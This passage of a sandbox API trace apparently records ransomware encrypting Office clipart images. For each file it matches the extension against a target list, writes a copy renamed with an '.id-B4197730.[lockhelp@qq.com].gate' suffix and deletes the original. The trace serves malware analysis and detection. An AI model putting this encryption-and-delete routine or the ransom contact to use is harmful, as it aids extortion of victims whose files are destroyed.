Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0313.294] lstrlenW (lpString=".jpg") returned 4 [0313.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0313.877] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=21914) returned 1 [0313.877] CloseHandle (hObject=0x50c) returned 1 [0313.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0313.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0313.960] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.960] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0313.961] GetLastError () returned 0x0 [0313.961] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x559a, lpOverlapped=0x0) returned 1 [0314.127] WriteFile (in: hFile=0x538, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0314.128] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.128] WriteFile (in: hFile=0x538, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0314.128] SetEndOfFile (hFile=0x538) returned 1 [0314.128] CloseHandle (hObject=0x538) returned 1 [0314.128] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.128] SetEndOfFile (hFile=0x528) returned 1 [0314.328] CloseHandle (hObject=0x528) returned 1 [0314.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0314.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0314.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0314.329] lstrlenW (lpString=".doc") returned 4 [0314.329] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.329] lstrlenW (lpString=".docx") returned 5 [0314.329] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0314.329] lstrlenW (lpString=".pdf") returned 4 [0314.329] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.330] lstrlenW (lpString=".xls") returned 4 [0314.330] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.330] lstrlenW (lpString=".xlsx") returned 5 [0314.330] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0314.330] lstrlenW (lpString=".ppt") returned 4 [0314.330] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0314.330] lstrlenW (lpString=".zip") returned 4 [0314.330] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.330] lstrlenW (lpString=".rar") returned 4 [0314.330] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.330] lstrlenW (lpString=".bz2") returned 4 [0314.330] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.330] lstrlenW (lpString=".7z") returned 3 [0314.330] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0314.330] lstrlenW (lpString=".dbf") returned 4 [0314.330] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0314.330] lstrlenW (lpString=".1cd") returned 4 [0314.330] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0314.330] lstrlenW (lpString=".jpg") returned 4 [0314.330] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.332] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=13954) returned 1 [0314.332] CloseHandle (hObject=0x528) returned 1 [0314.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0314.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0314.333] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.333] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0314.333] GetLastError () returned 0x0 [0314.333] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3682, lpOverlapped=0x0) returned 1 [0314.496] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3690, lpOverlapped=0x0) returned 1 [0314.795] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.795] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0314.795] SetEndOfFile (hFile=0x404) returned 1 [0314.795] CloseHandle (hObject=0x404) returned 1 [0314.795] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.795] SetEndOfFile (hFile=0x528) returned 1 [0314.798] CloseHandle (hObject=0x528) returned 1 [0314.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0314.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0314.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0314.931] lstrlenW (lpString=".doc") returned 4 [0314.931] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.931] lstrlenW (lpString=".docx") returned 5 [0314.931] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0314.931] lstrlenW (lpString=".pdf") returned 4 [0314.931] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.931] lstrlenW (lpString=".xls") returned 4 [0314.931] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.931] lstrlenW (lpString=".xlsx") returned 5 [0314.931] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0314.931] lstrlenW (lpString=".ppt") returned 4 [0314.931] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0314.931] lstrlenW (lpString=".zip") returned 4 [0314.932] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.932] lstrlenW (lpString=".rar") returned 4 [0314.932] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.932] lstrlenW (lpString=".bz2") returned 4 [0314.932] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.932] lstrlenW (lpString=".7z") returned 3 [0314.932] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0314.932] lstrlenW (lpString=".dbf") returned 4 [0314.932] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0314.932] lstrlenW (lpString=".1cd") returned 4 [0314.932] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0314.932] lstrlenW (lpString=".jpg") returned 4 [0314.932] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.933] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=7154) returned 1 [0314.933] CloseHandle (hObject=0x448) returned 1 [0314.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0314.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0314.933] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.933] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0314.934] GetLastError () returned 0x0 [0314.934] ReadFile (in: hFile=0x448, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0314.986] WriteFile (in: hFile=0x468, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0314.987] ReadFile (in: hFile=0x448, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.987] WriteFile (in: hFile=0x468, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0314.987] SetEndOfFile (hFile=0x468) returned 1 [0314.987] CloseHandle (hObject=0x468) returned 1 [0314.988] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.988] SetEndOfFile (hFile=0x448) returned 1 [0314.990] CloseHandle (hObject=0x448) returned 1 [0314.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0314.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0314.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0314.992] lstrlenW (lpString=".doc") returned 4 [0314.992] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.992] lstrlenW (lpString=".docx") returned 5 [0314.992] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0314.992] lstrlenW (lpString=".pdf") returned 4 [0314.992] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.992] lstrlenW (lpString=".xls") returned 4 [0314.992] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.992] lstrlenW (lpString=".xlsx") returned 5 [0314.992] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0314.992] lstrlenW (lpString=".ppt") returned 4 [0314.992] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0314.992] lstrlenW (lpString=".zip") returned 4 [0314.992] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.992] lstrlenW (lpString=".rar") returned 4 [0314.992] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.992] lstrlenW (lpString=".bz2") returned 4 [0314.992] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.992] lstrlenW (lpString=".7z") returned 3 [0314.992] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0314.992] lstrlenW (lpString=".dbf") returned 4 [0314.992] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0314.993] lstrlenW (lpString=".1cd") returned 4 [0314.993] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0314.993] lstrlenW (lpString=".jpg") returned 4 [0314.993] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.993] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=22356) returned 1 [0314.993] CloseHandle (hObject=0x448) returned 1 [0314.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0314.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0314.994] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.994] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0314.995] GetLastError () returned 0x0 [0314.995] ReadFile (in: hFile=0x448, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x5754, lpOverlapped=0x0) returned 1 [0315.088] WriteFile (in: hFile=0x468, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x5760, lpOverlapped=0x0) returned 1 [0315.090] ReadFile (in: hFile=0x448, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.090] WriteFile (in: hFile=0x468, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.090] SetEndOfFile (hFile=0x468) returned 1 [0315.090] CloseHandle (hObject=0x468) returned 1 [0315.090] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.090] SetEndOfFile (hFile=0x448) returned 1 [0315.092] CloseHandle (hObject=0x448) returned 1 [0315.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0315.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0315.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0315.169] lstrlenW (lpString=".doc") returned 4 [0315.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.169] lstrlenW (lpString=".docx") returned 5 [0315.169] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0315.169] lstrlenW (lpString=".pdf") returned 4 [0315.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.169] lstrlenW (lpString=".xls") returned 4 [0315.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.169] lstrlenW (lpString=".xlsx") returned 5 [0315.169] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0315.169] lstrlenW (lpString=".ppt") returned 4 [0315.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0315.170] lstrlenW (lpString=".zip") returned 4 [0315.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.170] lstrlenW (lpString=".rar") returned 4 [0315.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.170] lstrlenW (lpString=".bz2") returned 4 [0315.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.170] lstrlenW (lpString=".7z") returned 3 [0315.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0315.170] lstrlenW (lpString=".dbf") returned 4 [0315.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0315.170] lstrlenW (lpString=".1cd") returned 4 [0315.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0315.170] lstrlenW (lpString=".jpg") returned 4 [0315.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.171] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=43949) returned 1 [0315.171] CloseHandle (hObject=0x4f4) returned 1 [0315.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0315.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0315.172] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.172] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0315.172] GetLastError () returned 0x0 [0315.173] ReadFile (in: hFile=0x4f4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xabad, lpOverlapped=0x0) returned 1 [0315.531] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xabb0, lpOverlapped=0x0) returned 1 [0315.532] ReadFile (in: hFile=0x4f4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.532] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, 